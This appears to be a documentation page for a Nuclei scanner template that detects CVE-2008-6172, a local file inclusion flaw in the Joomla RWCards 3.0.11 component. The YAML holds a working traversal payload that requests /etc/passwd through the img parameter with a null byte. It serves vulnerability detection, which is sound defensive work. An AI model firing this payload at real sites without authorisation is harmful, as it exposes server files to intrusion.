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Joomla! Component RWCards 3.0.11 - Local File Inclusion

ID: CVE-2008-6172

Severity: medium

Author: daffainfo

Tags: cve2008,cve,joomla,lfi,edb,weberr

Description

Section titled “Description”

A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2008-6172


info:
  name: Joomla! Component RWCards 3.0.11 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Update Joomla! Component RWCards to the latest version to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6817
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6172
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2008-6172
    cwe-id: CWE-22
    epss-score: 0.00509
    epss-percentile: 0.76498
    cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: weberr
    product: rwcards
  tags: cve2008,cve,joomla,lfi,edb,weberr


http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502201427c50730d5f7e468b09a197b9b9dab426b9d520110f9b213f74a15bad6ac49022100978c5f0b956a361fde327573305912ca40e887e403acfae5661c88cdc7ecd3ba:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-6172.yaml"

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